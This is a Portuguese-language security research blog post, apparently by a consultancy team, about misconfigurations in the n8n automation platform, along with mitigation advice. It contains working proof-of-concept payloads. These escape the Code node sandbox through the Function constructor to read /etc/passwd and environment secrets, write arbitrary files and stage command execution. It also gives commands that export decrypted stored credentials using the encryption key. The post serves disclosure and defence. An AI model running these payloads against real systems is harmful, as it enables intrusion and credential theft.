[PT-BR] N8Naked: exploring security misconfigurations in N8N

Escrito por  Lucas Hoffmann, Lucas William, Thiago Bispo

Por: Lucas William ,Lucas Hoffmann e Thiago Bispo

Introdução

No segundo semestre de 2025 o time de DevSec da Hakai atuou em uma incursão em um ambiente com n8n, uma plataforma de automação e orquestração de fluxos utilizada para integrar sistemas, executar tarefas de forma automatizada e possibilitando integrar em serviços de IA. A fim de validar os controles da plataforma, a equipe iniciou uma análise de segurança. Como nossa missão é proteger o ecossistema digital dos nossos clientes, o time fez um processo intenso de testes.

A partir do acesso ao ambiente, foi possível revisar toda a configuração implementada  desde permissões e níveis de privilégio até os fluxos criados e demais funcionalidades utilizadas. Esse diagnóstico detalhado permitiu identificar riscos, oportunidades de melhoria e diretrizes para um ambiente de automação mais seguro.

O que é o N8N e como ele funciona?

O n8n é uma plataforma open-source focada em automação de processos e integração entre sistemas. Ele permite conectar serviços, APIs, bancos de dados e aplicações internas por meio de uma interface visual composta por nodes (nós), onde cada nó representa uma ação específica.

Embora possibilite a criação de fluxos sem necessidade de programação, o n8n aceita JavaScript nativo, o que amplia seu potencial e permite integrar lógicas personalizadas ao fluxo de automação e possui uma versão beta do Python com seu nó node code, além de possuir um nó de execução de comando, conhecido como Execute Command, o que torna o N8N especialmente interessante inclusive para analisar comportamentos inesperados ou validar cenários seguros de fluxo é a flexibilidade oferecida pela própria plataforma. Por ser uma solução open source, seu código-fonte é totalmente auditável, permitindo entender em profundidade como cada componente funciona. Isso facilita estudos de segurança, criação de ambientes isolados para testes e investigação de possíveis vetores de ataque, como injeções de comando em fluxos automatizados.

Além disso, o N8N também pode ser executado de forma self-hosted, seja em servidores próprios, contêineres Docker ou clusters Kubernetes, garantindo uma segurança maior, dados e isolamento dos experimentos. Embora essas características não sejam consequência direta do fato de ser open source, elas se complementam e tornam o N8N uma plataforma bastante robusta tanto para automações quanto para análises de segurança.

A combinação entre flexibilidade, baixo custo e autonomia operacional faz do n8n uma escolha popular em times que desejam acelerar integrações e automatizar rotinas. Ao mesmo tempo, essa liberdade traz responsabilidades: Se mal configurado, o n8n pode se tornar um ponto sensível dentro da infraestrutura.

Quais os possíveis riscos de segurança no N8N?

Ao ser integrado ao ambiente de um cliente, o N8N normalmente precisa acessar elementos sensíveis como credenciais, APIs internas, bancos de dados, serviços de nuvem e automações críticas. Esses acessos são necessários para seu funcionamento, mas também ampliam a superfície de ataque caso o ambiente não seja configurado corretamente.

Entre os principais riscos de segurança estão:

  • Vazamento de credenciais

    Armazenamento inseguro, logs expostos, variáveis ambientes mal gerenciadas ou workflows compartilhados podem revelar senhas, tokens ou chaves de API.
  • Execução indevida de código ou ações não autorizadas

    Vulnerabilidades, má configuração de permissões ou fluxos que tratam entradas sem validação podem permitir execução de comandos, manipulação de recursos ou até pivotagem dentro da rede interna.
  • Automatização de decisões incorretas

    Um fluxo mal projetado, manipulado ou explorado pode tomar decisões erradas que afetem diretamente sistemas críticos desde criar e excluir recursos até acionar integrações com efeitos colaterais graves.
  • Escalada e movimentação lateral

    Se um atacante obtiver acesso ao painel ou a um workflow comprometido, pode usar credenciais armazenadas para acessar outros serviços internos, ampliando o impacto dentro do ambiente.

Esses riscos não vêm apenas do N8N em si, mas da combinação de acessos sensíveis + má configuração + fluxo inseguro, reforçando a necessidade de práticas robustas de segurança ao utilizá-lo.

Falhas de Segurança do N8N causadas por configuração incorreta

4.1. Descobrindo Path Traversal

Antes de entrar na parte da análise, é importante entender que o N8N executa seus code nodes dentro de um ambiente isolado uma sandbox.

Uma sandbox é um mecanismo de segurança usado para executar código de forma controlada, limitando o acesso a recursos do sistema operacional, módulos internos e chamadas potencialmente perigosas. A ideia é evitar que um código malicioso (ou apenas mal escrito) consiga acessar arquivos sensíveis, executar comandos arbitrários ou interferir em outras partes da aplicação.

No N8N, esse isolamento é feito por meio de uma sandbox JavaScript que restringe:

  • acesso ao filesystem;
  • criação de processos;
  • funções perigosas do Node.js;
  • módulos internos que poderiam permitir fuga de ambiente;
  • interações diretas com a máquina host.

Essa abordagem fornece um nível adicional de segurança, garantindo que os fluxos automatizados não possam, por padrão, executar operações críticas fora do escopo permitido.

Com isso em mente, quando o N8N permite a criação de code nodes para automatizar desde tarefas simples como enviar uma mensagem até ações mais avançadas como manipulação de arquivos e processamento de dados surge naturalmente a pergunta: quão segura é essa sandbox? E, principalmente, quais são os limites reais de execução do código dentro dela?

Para responder isso, o time de Desenvolvimento Seguro da Hakai (BugBusters) decidiu aprofundar a análise de segurança desses code nodes. O objetivo era entender, em detalhes, como o mecanismo de execução funciona, quais proteções realmente existem e se seria possível escapar da sandbox para explorar o ambiente, inclusive investigando cenários como Path Traversal e acesso indevido a arquivos.

Com foco em identificar fragilidades, a equipe começou a elaborar diferentes trechos de código para validar se seria possível acessar arquivos internos de forma arbitrária incluindo variáveis de ambiente sensíveis ou até mesmo arquivos do sistema, como o arquivo /etc/passwd.

A ideia principal era descobrir até que ponto o sandbox do n8n realmente isolava o usuário e se o ambiente exposto pelo node permitiria, de alguma forma, acesso ao sistema de arquivos ou recursos internos do container. A ideia era simples: se o usuário tem permissão para escrever código JavaScript, o que exatamente impede esse código de escapar dos limites impostos pela plataforma?

Foi possível comprovar que determinados arquivos internos podiam ser lidos a partir do code node, como demonstrado no exemplo abaixo.

Figura 1 – Output do arquivo passwd do linux.
Figura 2 – Output das variáveis de ambiente.
const fn = []["constructor"]["constructor"];
const codigo = `
  return new Promise(async (resolve) => {
    try {
 
      const stream = await helpers.createReadStream('/etc/passwd');
      const chunks = [];
      
      stream.on('data', chunk => chunks.push(chunk));
      stream.on('end', () => {
        const content = Buffer.concat(chunks).toString('utf8');
        resolve(content);
      });
      stream.on('error', err => resolve('Error: ' + err.message));
      
    } catch(e) {
      resolve('Catch error: ' + e.message);
    }
  });
`;

return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Trecho de código 1 – PoC de payload para Path Traversal.

A equipe começou a explorar técnicas clássicas de evasão de sandbox em ambientes JavaScript parcialmente restritos. Uma delas consiste em recuperar dinamicamente o construtor global Function, mesmo quando ele não está acessível diretamente ou quando o ambiente tenta ocultá-lo. Esse tipo de abordagem é conhecido e já apareceu em várias ocasiões sandbox escapes ao longo dos anos. No caso do n8n, bastava utilizar a expressão [“constructor”][“constructor”] para obter acesso à função Function global sem mencioná-la explicitamente no código. Essa payload, foi a chave inicial que permitiu criar funções arbitrárias baseadas em texto, contornando filtros superficiais e abrindo espaço para testes mais agressivos.

A partir desse ponto, a equipe começou a investigar quais objetos internos estavam acessíveis dentro do code node. Uma descoberta importante foi que o ambiente disponibiliza o objeto helpers, que por sua vez oferecia funções utilitárias, incluindo a capacidade de criar read streams, que é uma forma de ler arquivos ou dados aos poucos, em partes (chunks), em vez de carregar tudo na memória de uma vez.

Eles permitem processar conteúdo de forma contínua e eficiente — especialmente útil para arquivos grandes ou operações que precisam ser feitas em fluxo. diretamente do sistema de arquivos. Essa API, aparentemente inofensiva para operações internas da plataforma, acabou se tornando o vetor direto para leitura arbitrária de arquivos. Em outras palavras: se um atacante conseguir injetar código capaz de acessar helpers.createReadStream, gerando um impacto grande, pois o sandbox logicamente isolado acaba permitindo que o atacante leia qualquer arquivo acessível pelo próprio processo do n8n como variáveis de ambiente, arquivos de configuração, dados sensíveis e até o clássico /etc/passwd.

Com essas peças conectadas, a equipe desenvolveu a payload final referenciada abaixo. O código começa recuperando o Function constructor de forma indireta, garantindo que o ambiente não bloqueasse o acesso direto. Em seguida, constrói-se dinamicamente uma função cujo conteúdo é passado como string. Essa função retorna uma Promise que, ao ser executada, tenta criar um stream de leitura apontando diretamente para o arquivo /etc/passwd. A leitura é feita em chunks, todos acumulados em um buffer e posteriormente convertidos para texto UTF-8. Ao final, o conteúdo completo do arquivo é retornado como resultado do node, podendo ser exibido na própria interface do n8n ou encaminhado para qualquer outra parte do workflow, inclusive destinos externos se existirem nós subsequentes de automação.

const fn = []["constructor"]["constructor"];
const codigo = `
  return new Promise(async (resolve) => {
    try {
 
      const stream = await helpers.createReadStream('/etc/passwd');
      const chunks = [];
      
      stream.on('data', chunk => chunks.push(chunk));
      stream.on('end', () => {
        const content = Buffer.concat(chunks).toString('utf8');
        resolve(content);
      });
      stream.on('error', err => resolve('Error: ' + err.message));
      
    } catch(e) {
      resolve('Catch error: ' + e.message);
    }
  });
`;

return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Trecho de código 2 – PoC de payload para Path Traversal.

Na prática, isso significa que qualquer usuário com acesso ao code node pode, mesmo sem permissões elevadas, explorar brechas do sandbox para acessar arquivos internos do container. A partir do momento em que um atacante consegue ler arquivos como .env, chaves privadas, segredos de autenticação ou informações de configuração, ele pode escalar o ataque, comprometer serviços conectados e até assumir controle de fluxos sensíveis da organização. A payload funcionou porque o processo que executa o n8n possui permissões normais de leitura sobre esses arquivos e porque a plataforma expõe, inadvertidamente, funções que permitem a manipulação direta do sistema de arquivos.

Esse comportamento não é incomum em plataformas de automação que oferecem ambientes de script, mas representa um risco substancial quando não combinado com isolamento adequado. Se o ambiente de execução do código não estiver verdadeiramente isolado, por exemplo, rodando em um container dedicado, com permissões reduzidas e sem APIs internas expostas vulnerabilidades desse tipo se tornam inevitáveis. A própria possibilidade de construir funções dinamicamente com Function ou mecanismos similares, somada ao acesso à utilitários internos como helpers, cria um cenário propício para escapes e leitura de arquivos sensíveis.

A descoberta serviu como ponto de atenção importante, reforçando que ambientes de automação que permitem execução arbitrária de JavaScript precisam de camadas adicionais de segurança e restrições. Mesmo quando o sandbox parece seguro em um primeiro momento, detalhes como APIs auxiliares expostas, permissões do filesystem, ou brechas na validação de código podem ser suficientes para quebrar completamente o isolamento e permitir a escalada do atacante. Ao final dos testes, a equipe conseguiu comprovar que era possível ler arquivos internos do container de forma arbitrária, demonstrando o problema com clareza.

4.2. Arbitrary File Write

No segundo estágio da pesquisa, a equipe construiu uma payload capaz não apenas de ler, mas também de gravar arquivos arbitrários dentro do container do n8n. A lógica estrutural do código segue o mesmo padrão da exploração anterior: primeiro recupera-se o construtor global Function através da expressão [][“constructor”][“constructor”], o que permite compilar uma função a partir de texto, contornando restrições tradicionais de sandbox. Dentro dessa função dinâmica, o diferencial está no uso explícito da função interna helpers.writeContentToFile, que, embora projetada para funcionalidades internas da plataforma, acabou permitindo gravação arbitrária no filesystem.

A payload prepara o conteúdo de um pequeno script shell diretamente como string. Esse script contém comandos simples, como id e cat, usados apenas para demonstrar que o arquivo não só foi criado, como também pode armazenar instruções customizadas definidas pelo atacante. Em seguida, a função writeContentToFile grava o script no caminho /tmp/exploit.sh, um diretório geralmente acessível em containers Linux. Do ponto de vista técnico, isso significa que o atacante deixa de ser apenas um leitor passivo do ambiente e passa a ter capacidade de modificar o estado interno do container.

A parte final da payload tenta abrir o script recém-criado através do helpers.createReadStream. Esse trecho não executa o script diretamente, mas é usado aqui por dois motivos: primeiro, para validar que o arquivo realmente foi criado com sucesso; segundo, porque em algumas configurações internas do n8n, certos fluxos ou integrações podem acabar acionando arquivos manipulados dessa forma, resultando em execuções indiretas. Mesmo sem depender desse comportamento, o simples fato de que o usuário pode criar arquivos arbitrários inclusive arquivos que são marcados como scripts executáveis já demonstra um claro comprometimento da integridade do ambiente.

const fn = []["constructor"]["constructor"];
const codigo = `
  return new Promise(async (resolve) => {
    try {

      const script = '#!/bin/sh\\nid > /tmp/pwned.txt\\ncat /tmp/pwned.txt';
      await helpers.writeContentToFile('/tmp/exploit.sh', script);
      
    createReadStream

      const stream = await helpers.createReadStream('/tmp/exploit.sh');
      
      resolve({ step: 'created' });
      
    } catch(e) {
      resolve({ error: e.message });
    }
  });
`;

return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Trecho de código 3 – PoC de payload para Arbitrary File Write.
Figura 3 – Gravando arquivo no servidor.
Figura 4 – Demonstrando o arquivo gravado na imagem do N8N.

A sandbox não só falha em impedir leitura, como também permite gravação de arquivos controlados pelo usuário. Isso transforma o risco de uma simples exposição de informações em uma verdadeira superfície para persistência, manipulação interna e até preparação para execução remota de comandos em cenários onde existam componentes auxiliares vulneráveis ou mal configurados.

4.3 RCE no N8N?

Mesmo com todas as limitações impostas pela sandbox do Code Node, a equipe de desenvolvimento seguro uniu forças com  Vivaldo Chagas (Operador da equipe de RED TEAM) decidimos ir além dos testes de leitura e criação de arquivos e começou o processo de investigação da possibilidade de alcançar algum nível de execução remota de comandos. Apesar do ambiente restrito, ainda existia uma brecha interessante:

const fn = []["constructor"]["constructor"];
const codigo = `
  return new Promise(async (resolve) => {
    try {

      const payload = Buffer.from(\`
const cp = require('child_process');
cp.execSync('id > /tmp/pwned.txt');
      \`).toString('base64');
      
      await helpers.writeContentToFile('/tmp/payload_b64.txt', payload);

      const decoder = \`#!/bin/sh
PAYLOAD=$(cat /tmp/payload_b64.txt | base64 -d)
echo "$PAYLOAD" > /tmp/decoded.js
node /tmp/decoded.js
      \`;
      
      await helpers.writeContentToFile('/tmp/decoder.sh', decoder);

      const executeScript = \`sh /tmp/decoder.sh\`;
      await helpers.writeContentToFile('/tmp/execute_now.txt', executeScript);
      
      await helpers.createReadStream('/tmp/decoder.sh');
      
      await new Promise(r => setTimeout(r, 3000));
      
      try {
        const outStream = await helpers.createReadStream('/tmp/pwned.txt');
        const outChunks = [];
        
        await new Promise((res, rej) => {
          outStream.on('data', chunk => outChunks.push(chunk));
          outStream.on('end', res);
          outStream.on('error', rej);
        });
        
        const output = Buffer.concat(outChunks).toString('utf8');
        resolve({ command_output: output });
        
      } catch(e) {
        resolve({ error: 'Check /tmp/decoded.js and run: sh /tmp/decoder.sh' });
      }
      
    } catch(e) {
      resolve({ error: e.message });
    }
  });
`;

return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Trecho de código 4 – PoC de payload RCE

O constructor do Function, que em teoria deveria estar isolado, podia ser recuperado de forma indireta. A partir disso, abriu-se espaço para rodar JavaScript arbitrário fora das proteções.

Depois de muitos experimentos, ajustes e payloads descartados, a equipe conseguiu montar uma prova de conceito funcional. A ideia era relativamente simples: criar dentro do container um script shell persistente que executasse periodicamente um comando (id) e escrevesse o resultado em um arquivo dentro de /tmp. Além disso, foram criados vários “gatilhos”, pequenos arquivos .sh com diferentes maneiras de invocar esse script, tentando aumentar as chances de que pelo menos uma delas fosse executada pelo ambiente. A payload então aguardava alguns segundos e tentava ler o arquivo de saída, buscando comprovar que o comando realmente estava sendo executado.

Figura 5 -payload que cria arquivo e executa comando.

Figura 6 – Output da execução de comand

Nos testes iniciais, foi possível executar comandos de forma limitada dentro do N8N, mas o comportamento se mostrou inconsistente. A mesma payload funcionou nas duas primeiras execuções e depois deixou de produzir saída, indicando um comportamento intermitente da sandbox.

Como essa etapa da análise foi exploratória e sem logs estruturados, não foi possível identificar com precisão em quais condições a execução funcionou ou qual erro ocorreu nas falhas. Por isso, etapas posteriores focaram em testes mais controlados e na coleta sistemática de evidências para compreender melhor os limites e restrições da sandbox.

No fim, o que se encontrou foi um cenário no mínimo preocupante, embora a sandbox tentasse limitar ações críticas, ela não era consistente. Em determinadas circunstâncias, permitia não apenas escrita arbitrária de arquivos no container, mas também a execução de comandos através de scripts persistentes.

4.4 CVE negada.

Embora o comportamento observado não seja oficialmente classificado como uma vulnerabilidade (CVE) pelo projeto n8n, ele evidencia um ponto crítico de segurança, a execução do code node sem isolamento adequado pode permitir leitura e escrita arbitrária de arquivos dentro do container. Segundo o próprio time do n8n, o uso seguro desse recurso depende da habilitação de um “executor de tarefas”, que isola o código em um ambiente separado. No entanto, esse mecanismo não vem ativado por padrão e ainda é tratado como uma funcionalidade opcional.

Figura 7 – Resposta dos desenvolvedores do N8N.

“Obrigado pelo seu relatório.
Estamos cientes dos problemas de segurança no nó de código quando não se utilizam executores de tarefas. Portanto, recomendamos o uso de um executor de tarefas para uma execução mais segura e eficiente do nó de código. Removeremos a opção insegura em uma futura versão 2.”

Na prática, isso significa que instâncias do n8n configuradas apenas com os padrões recomendados na documentação permanecem expostas. Como o modo inseguro ainda é disponibilizado e amplamente utilizado na comunidade, a superfície de ataque passa a ser parte do funcionamento real da plataforma, e não um cenário hipotético.

Esse contexto reforça um ponto fundamental, plataformas de automação capazes de executar código arbitrário não devem depender de configurações opcionais para garantir isolamento. Quando o ambiente permite, por padrão, que fluxos tenham acesso direto ao sistema de arquivos, qualquer fluxo comprometido ou mesmo um fluxo mal configurado pode se transformar em um vetor de ataque significativo. Assim, ainda que o projeto não trate esse comportamento como uma vulnerabilidade formal, ele representa um risco real em ambientes que utilizam o n8n sem o executor habilitado.

Configurações incorretas de segurança no N8N

O N8N apresenta práticas de segurança em sua documentação, portanto, apresentaremos de uma forma mais clara o impacto das configurações incorretas e más práticas, demonstrando suas respectivas mitigações.

Durante o período dos testes de segurança no N8N o time de DevSec identificou a possibilidade de adicionar o nó de “Execute Command” em um fluxo. Essa funcionalidade permite a execução de comandos diretamente no pod em que é executado o fluxo e ela é habilitada por padrão no N8N, permitindo usuários com permissão de “membro”, o menor nível de permissão possível executar comandos remotamente no Pod.

Figura 8 – Fluxo N8N para PoC nomeado como “Teste Segurança Appsec”.

Nesse nó, foi definido o parâmetro “Command”, que é passado para o Pod e executado ao clicar em “Execute step”. Assim, é possível executar comandos e ler arquivos de log muitas vezes que não deveríamos ter informações, vale lembrar que todos os comandos executados no Pod por padrão são executados pelo usuário do node, como apresentado na figura abaixo.

Figura 9 – PoC execução remota de comandos (Default Privilege User to RCE)  

Como prova do conceito apresentado anteriormente, podemos visualizar a leitura de arquivo via execução de comando pelo nó de Execute Command, com isso podemos utilizar da ausência de validação dos comandos que podem ser executados para realizar leitura das variáveis de ambientes, entre outros arquivos de configurações ou logs apresentando informações sensíveis.

Figura 10 – Leitura de variável de ambiente permitida pelo usuário “node”.

No ambiente do cliente pelo qual foram realizados os testes, destacam-se informações do Banco de Dados adquiridas na variável de ambiente, além de Tokens da AWS e N8N Encryption Key, obviamente as informações que podem ser adquiridas são situacionais, porém vale ressaltar que por padrão o N8N permite que o usuário do node leia o env.

Figura 11 – apresentando as principais findings para um atacante identificadas no env.

Ao destacarmos o N8N Encryption Key como algo valioso, vamos entender:

  1. O que é?
  2. Como funciona?
  3. Quais riscos sua exposição oferece?

A N8N Encryption Key é a chave que protege todas as credenciais armazenadas pelo N8N. Com ela, o sistema criptografa e descriptografa senhas, tokens e API keys no banco de dados. Se essa chave vazar, um atacante consegue ler todas as credenciais criptografadas, mesmo sem acesso ao painel do N8N, bastando ter leitura do banco de dados ou acesso a encryption key. Isso pode levar a acesso indevido a serviços internos, movimentação lateral, execução de ações privilegiadas e criação de persistência. Por isso, sua exposição representa um risco crítico e exige rotação imediata da chave e troca de todas as credenciais afetadas.

A Figura 12 mostra o dump das credenciais armazenadas no cofre interno do n8n, (PoC – Proof of Concept) :


Figura 12 -Cofre do n8n via N8N_ENCRYPTION_KEY.

A payload utilizada para obter esse resultado foi:

n8n export:credentials --all --decrypted --output=/home/node/.n8n/decrypted-creds.json

As figuras 13 e 14 apresentam a sequência do comando utilizado para leitura das credenciais decryptadas que foram armazenadas, no diretório /home/.n8n/decrypted-creds.json do cofre interno do n8n e seu output:


Figura 13 – Comando utilizado para a leitura do decrypted-creds.json.

Figura 14 – Leitura e Exfiltração das credenciais presentes no cofre do n8n.

Realizando a leitura das credenciais anteriormente extraídas do cofre, abusando da funcionalidade OUTPUT no formato JSON para exfiltrar o conteúdo do arquivo com maior facilidade para sua máquina local, visando armazenar e facilitar a leitura dessas Secrets, vale ressaltar que o usuário node tem leitura e escrita no /home/node/.n8n/ e só foi possível realizar o ataque graças ao N8N_ENCRYPTION_KEY presente no env.

Caso a N8N Encryption Key não esteja no env mas você tenha acesso a ela, o usuário do node pode exportá-la e realizar a mesma exploração, segue o Payload:

export N8N_ENCRYPTION_KEY="KEY" && \ n8n export:credentials --all --decrypted --output=/home/node/.n8n/decrypted-creds.json

Durante a exploração da execução de comando remota no n8n, também foi identificado um  arquivo de log presente no caminho: /home/node/.n8n/n8nEventLog-worker.log, que expõe informações sobre fluxos que um usuário sem privilégios não deveria visualizar, mostrando que mesmo com o menor privilégio e sem acesso aos fluxos, já foi possível obter dados internos sensíveis, como apresenta as figuras abaixo:


Figura 15 – PoC Divulgação de Informações no arquivo de log n8nEventlog-worker.log

Informações relevantes a serem esclarecidas sobre n8nEventlog-worker.log de forma objetiva:

  • O arquivo é padrão do n8n quando o worker está habilitado.
  • Ele registra eventos internos do worker (execuções, erros, estados).
  • É armazenado em ~/.n8n do usuário que executa o processo (por padrão: node).
  • Pode conter informações sensíveis.
  • Não existe quando você roda só n8n start sem queue/worker.

A leitura desse arquivo de log resultou em informações sensíveis sobre os workflows criado e isso facilita até a compreensão dos casos de uso das credenciais extraídas do cofre do n8n usando da encryption key, no teste foi possível adquirir informações orçamentárias e contratuais.

Mitigações e controles

O uso das funções de helper utilizam o contexto da instância principal do n8n, o que implica que todo código, operações e integrações são executados no mesmo processo e no mesmo servidor do n8n Core. Para isolar o ambiente em que são executadas as funções de helpers e os workflows, é recomendado utilizar Task Runners, evitando que payloads maliciosos, arquivos potencialmente inseguros ou integrações não confiáveis comprometam a instância principal do n8n.

A configuração de Task Runners é através de um arquivo .yaml e é importante se atentar às boas práticas para não deixar o ambiente do runner vulnerável:

  • O Docker socket não deve estar disponível nos containers ou máquinas que executam Runners do n8n. A exposição do socket concede controle total sobre o host, representando um risco crítico de escalação de privilégio e comprometimento total do ambiente.
  • Os Runners devem operar com um conjunto mínimo de bibliotecas permitidas, utilizando as variáveis de allowlist disponibilizadas pelo n8n.

Exemplo de allowlist para runners Javascript:

NODE_FUNCTION_ALLOW_BUILTIN="crypto"
NODE_FUNCTION_ALLOW_EXTERNAL="moment,uuid"

Exemplo de allowlist para runners Python:

N8N_RUNNERS_STDLIB_ALLOW="json"

N8N_RUNNERS_EXTERNAL_ALLOW="numpy,pandas"

Para a mitigação de execução de comando, leitura e escrita no disco do ambiente n8n realize a restrição dos seguintes nodes adicionando a env:

NODES_EXCLUDE: "[\"n8n-nodes-base.executeCommand\", \"n8n-nodes-base.readWriteFile\"]"

Mais detalhes para implementação desses controles podem ser visualizados diretamente na documentação do n8n: https://docs.n8n.io/hosting/securing/blocking-nodes/

Para mitigar os riscos da exposição do N8N_ENCRYPTION_KEY precisamos garantir o armazenamento de forma mais segura, ou seja impedir que o usuário node ou qualquer outro usuário não privilegiado tenha acesso direto ao valor da chave. Para isso, o método recomendado é usar um EnvironmentFile protegido pelo root e carregado pelo systemd.

Crie um arquivo dedicado para a chave:

sudo mkdir -p /etc/n8n

echo 'N8N_ENCRYPTION_KEY=sua_chave_aqui' | sudo tee /etc/n8n/encryption.env > /dev/null

sudo chmod 600 /etc/n8n/encryption.env

Depois, configure o serviço:

sudo systemctl edit n8n

Adicione:

[Service]
EnvironmentFile=/etc/n8n/encryption.env

Finalize:

sudo systemctl daemon-reload
sudo systemctl restart n8n

Dessa forma, a chave fica armazenada em um arquivo de configuração isolado, com permissões restritas, fora do diretório do n8n, e carregada automaticamente pelo systemd em tempo de execução, garantindo persistência e segurança.

Boas Práticas de configuração do n8n

Como boas práticas de segurança no n8n, segundo a documentação oficial, é recomendável realizar as seguintes configurações e patches.

Desabilitar API Pública do n8n: Ela expõe endpoints sensíveis, raramente é necessária e aumenta a superfície e o impacto de ataques. Ao desligá-la, a instância fica mais simples, além de diminuir a superfície futura de ataque pois o n8n é um projeto recente.

Restringir nodes não utilizados: Significa restringir da sua instância todos os nodes que não são necessários para os fluxos atuais. Isso é feito configurando a variável de ambiente NODES_EXCLUDE.

Isso é importante porque visando reduzir a superfície de ataque, menos nodes equivale a menos funcionalidades expostas que podem ser abusadas.

Impedir uso indevido de nodes perigosos (como Execute Command, Code, SSH, etc.) deixam de existir na interface para qualquer usuário.

Utilizar SSL/TLS: Utilizar SSL/TLS no n8n é essencial para evitar ataques de man-in-the-middle. Sem criptografia, um invasor pode interceptar e alterar o tráfego entre o usuário e o n8n, capturando credenciais, tokens e sessões ou até modificando comandos e dados enviados. Com TLS, o conteúdo é protegido e a integridade das mensagens é garantida, impedindo que alguém no caminho leia ou manipule o que está sendo transmitido.

Habilitar SSO e 2FA: Fortalece significativamente o controle de acesso. O SSO centraliza a autenticação, garantindo que apenas usuários verificados por um provedor confiável entrem na plataforma e permitindo aplicar políticas corporativas, como rotação de senhas, bloqueio de contas e monitoramento unificado. Já o 2FA adiciona uma segunda camada de verificação além da senha, dificultando que um atacante acesse o n8n mesmo que consiga credenciais válidas. Juntos, SSO e 2FA reduzem riscos de comprometimento de contas, fortalecem a segurança operacional e aumentam a proteção contra invasões baseadas em credenciais.

Privilégios Mínimos e Auditoria via security audit no n8n: Aplicar o princípio do menor privilégio no n8n garante que cada usuário só tenha acesso ao que realmente precisa, reduzindo o impacto de erros, abusos ou contas comprometidas. Isso limita a superfície de ataque e impede que ações críticas sejam executadas por quem não deveria. Complementarmente, realizar varreduras frequentes com o security audit do n8n ajuda a identificar configurações inseguras, credenciais expostas e nodes sensíveis habilitados, permitindo corrigir falhas antes que sejam exploradas. Juntas, essas práticas mantêm a plataforma mais segura, controlada e resiliente a incidentes.

Não expor conteúdo sensível no environment: Variáveis como chaves de criptografia (N8N_ENCRYPTION_KEY) e tokens não devem ficar acessíveis no ambiente padrão do n8n, pois podem ser lidas por usuários ou processos não autorizados. Manter esses dados fora do environment reduz o risco de vazamento, evitar exposição acidental é indispensável visando fortalecer a segurança da instância.

Realizar Gerenciamento de patches frequentemente: Aplique atualizações de segurança no n8n, dependências e SO de forma contínua para mitigar CVEs exploráveis. Patches reduzem vetores de RCE, LPE e vazamento de credenciais, além de fechar zero-days que afetam serviços expostos. Automatizar a detecção e a aplicação de updates mantém a superfície de ataque mínima e reduz o tempo de exposição a vulnerabilidades conhecidas.

Conclusão

A análise de segurança detalhada demonstrou que a execução do n8n sob suas configurações padrão cria uma superfície de ataque crítica e explorável por usuários de baixo privilégio. A fragilidade reside na exposição inadvertida de capacidades de execução de código e comandos, violando o princípio do menor privilégio.

O vetor de ataque mais preocupante envolve a exploração conjunta do Code Node, que pode contornar o sandbox (permitindo Path Traversal e RCE limitado), e, principalmente, a ativação padrão do Node Execute Command. Esta combinação permite a Execução Remota de Comandos (RCE) direta, resultando no vazamento de variáveis de ambiente cruciais, como tokens de AWS, informações de bancos de dados e, de forma devastadora, a N8N_ENCRYPTION_KEY.

O comprometimento dessa chave criptográfica é o ápice da falha, permitindo a descriptografia de todas as credenciais armazenadas no cofre do n8n. Este cenário transforma uma exposição de informação em um comprometimento total de acesso a todos os serviços de terceiros integrados à plataforma.

A máxima da segurança deve ser defensiva por padrão. Para mitigar este risco fundamental e garantir a integridade do ambiente n8n, é imperativo adotar uma postura proativa que priorize o isolamento e a restrição:

  • Isolamento de Execução: É fundamental habilitar e configurar Task Runners dedicados para isolar a execução de código do workflow do processo principal do n8n, neutralizando tentativas de sandbox escape e RCE.
  • Controle de Acesso Funcional: Deve-se aplicar uma política rigorosa para restringir ou desativar nodes de alto risco, como o Execute Command e o ReadWriteFile, limitando sua utilização a workflows e usuários estritamente auditados e confiáveis.
  • Proteção de Segredos Críticos: A N8N_ENCRYPTION_KEY jamais deve ser facilmente acessível via variáveis de ambiente expostas ao processo. Seu armazenamento deve ser migrado para um Sistema de Gerenciamento de Segredos (KMS/Vault) ou um EnvironmentFile protegido por root, impedindo sua leitura mesmo em caso de RCE no container principal.

Somente ao adotar medidas que vão além das configurações de fábrica, priorizando a restrição de privilégios e o isolamento de recursos, é possível utilizar o n8n como uma plataforma de automação flexível e poderosa sem expor a infraestrutura subjacente a riscos inaceitáveis de vazamento de dados ou escalação de privilégios.

  1. Referências

Logo da Hakai.